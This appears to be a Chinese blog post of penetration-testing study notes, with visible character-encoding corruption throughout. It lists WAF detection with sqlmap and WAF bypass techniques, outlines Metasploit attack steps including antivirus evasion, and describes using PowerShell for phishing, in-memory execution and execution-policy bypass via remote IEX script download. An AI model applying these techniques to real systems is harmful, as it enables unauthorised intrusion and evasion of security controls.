網(wǎng)站系統(tǒng)內(nèi)置WAF(在網(wǎng)站內(nèi)內(nèi)置的過濾,直接鑲嵌在代碼里,自由度比較高,有以下四種:①輸入?yún)?shù)強(qiáng)制類型轉(zhuǎn)換②輸入?yún)?shù)合法性檢測③關(guān)鍵函數(shù)執(zhí)行,對經(jīng)過代碼流程的輸入進(jìn)行檢測④對輸入的數(shù)據(jù)進(jìn)行替換過后再繼續(xù)執(zhí)行代碼執(zhí)行流程)網(wǎng)站系統(tǒng)內(nèi)置的WAF與業(yè)務(wù)更加切合,在對安全與業(yè)務(wù)都比較了解的情況下,可更
少的收到誤報(bào)與漏報(bào)。
WAF判斷 方法:①SQLMap?? 輸入sqlmap.py -u “http://xxx.com” --identify-waf --batch??? 便可找到waf類型
②直接在相對應(yīng)網(wǎng)站的url后加最基礎(chǔ)的測試語句并放在一個(gè)不存在的參數(shù)名中。
繞過waf的方法:1,大小寫混合
2url編碼
3,替換關(guān)鍵字
4,使用注釋
5,多參數(shù)請求拆分
6,HTTP參數(shù)污染
7,生僻函數(shù)
8,尋找網(wǎng)站原站IP
9,注入?yún)?shù)到cookies中
Meteasploit技術(shù):
?? 在使用Kali操作系統(tǒng)是應(yīng)注意即使更新源,就像平時(shí)及時(shí)更新手機(jī)APP更新命令如下:
A,apt-get update:只更新軟件包的索引源,作用:同步源的軟件包的索引信息,從而進(jìn)行軟件更新。
B,Apt-get upgrade:升級系統(tǒng)上安裝的所有軟件包,如果失敗則保持更新之前的狀態(tài)。
Apt-get dist-upgrade:升級整個(gè)Liunux系統(tǒng)(不僅升級所有已安裝的軟件包,而且會(huì)處理升級過程中可能出現(xiàn)的沖突,在某些情況下,他的部分升級需要人工參與)。
滲透攻擊大致步驟:
*掃描目標(biāo)及系統(tǒng),尋找可用漏洞。
*選擇并配置一個(gè)漏洞利用模塊。
*選擇并配置一個(gè)攻擊利用模塊。
*選擇一個(gè)編碼技術(shù),用來繞過殺毒軟件的查殺。
*滲透攻擊。
Powershell
是一種基于任務(wù)的命令行解釋器和腳本環(huán)境,可以說是一種強(qiáng)大的shell,如同linux的bash,專為系統(tǒng)管理員而設(shè)計(jì),以.NET框架為平臺,Windows PowerShell幫助IT專業(yè)人員和超級用戶控制和自動(dòng)化管理Windows操作系統(tǒng)和運(yùn)行在操作系統(tǒng)上的應(yīng)用。現(xiàn)被更廣泛用于滲透測試等方面,在不需要寫入磁盤的情況下執(zhí)行命令,也可以逃避Anti-Virus檢測。另外,可以把PowerShell看作命令行提示符cmd.exe的擴(kuò)充。
?對于滲透,使用PowerShell場景:
第一種我們需要獲得免殺或者更好的隱蔽攻擊對方的win機(jī)器,可以通過釣魚等方式直接執(zhí)行命令
第二種我們已經(jīng)到了對方網(wǎng)絡(luò),或是一臺DMZ的win機(jī)器,那么我們利用PowerShell對內(nèi)網(wǎng)繼續(xù)深入
基于.NET框架
操作系統(tǒng)信任
提供win系列操作系統(tǒng)的幾乎一切訪問權(quán)限
win7之后默認(rèn)安裝
腳本可以運(yùn)行在內(nèi)存中,不需要寫入磁盤
cmd.exe通常會(huì)被安全軟件阻止,一般PowerShell不會(huì)
常用攻擊工具:
?
可以輸入Get-Host或者$PSVersionTable.PSVERSION命令查看當(dāng)前系統(tǒng)的PowerShell版本。
一個(gè)PowerShell腳本其實(shí)就是一個(gè)簡單的 文本文件,這個(gè)文件包含了一系列的 PowerShell命令,每個(gè)命令顯示為獨(dú)立的一行,PowerShell文件的后綴為 .PS1。
執(zhí)行策略:
為防止惡意腳本的執(zhí)行,PowerShell有一個(gè)執(zhí)行策略,默認(rèn)情況下,這個(gè)執(zhí)行策略被設(shè)置為受限。
我們可以使用: Get-ExecutionPolicy? 命令查看PowerShell當(dāng)前的執(zhí)行策略。它有4個(gè)策略。
Restricted:腳本不能運(yùn)行(默認(rèn)設(shè)置)
RemoteSigned:本地創(chuàng)建的腳本可以運(yùn)行,但是從網(wǎng)上下載的腳本不能運(yùn)行(擁有數(shù)字證書簽名的除外)
AllSigned:僅當(dāng)腳本由受信任的發(fā)布者簽名時(shí)才能運(yùn)行;
Unrestricted:允許所有的腳本執(zhí)行
另外修改PowerShell執(zhí)行策略:Set-ExecutionPolicy 策略名 #該命令需要管理員權(quán)限運(yùn)行
運(yùn)行腳本:
運(yùn)行一個(gè)腳本,必須鍵入完整的路徑和文件名,例如,你要運(yùn)行一個(gè)名為a.ps1的腳本,可以鍵入c:\script\a.ps1
但如果PowerShell腳本文件在你的系統(tǒng)目錄中,那么在命令提示符后直接鍵入腳本文件名即可運(yùn)行,如.\a.ps1的前面就加上“.\”,這和在Linux下執(zhí)行Shell腳本的方法一樣。
管道:
管道的作用就是將一個(gè)命令的輸出作為另一個(gè)命令的輸入,兩個(gè)命令之間用管道符號(|)連接
例如:
假設(shè)停止所有目前運(yùn)行中的,以“note"字符開頭命名的程序
Get-Process note*|stop-process
基本知識:
在PowerShell下,類似“cmd命令”叫做“cmdlet” ,其命令的命名規(guī)范很一致,都采用了 動(dòng)詞-名詞的形式,如Net-Item,動(dòng)詞一般為Add、New、Get、Remove、Set等。PowerShell還兼容cmd和Linux命令,如查看目錄可以使用 dir 或者 ls ,并且PowerShell命令不區(qū)分大小寫。
后面會(huì)以文件操作為例講解PowerShell命令的基本用法
?
如果運(yùn)行PowerShell腳本程序,必須用管理員權(quán)限將Restricted策略改成Unrestricted
在滲透測試時(shí),就需要采用一些方法繞過策略來執(zhí)行PowerShell腳本,列舉如下三種方式
1.繞過本地權(quán)限執(zhí)行
2.本地隱藏繞過權(quán)限執(zhí)行腳本
3.用IEX下載遠(yuǎn)程PS1腳本繞過權(quán)限執(zhí)行
總結(jié)
- 上一篇: 运用百度框架paddle进行手势识别【动
- 下一篇: 阿里云服务器1核1G1M能放多少个网站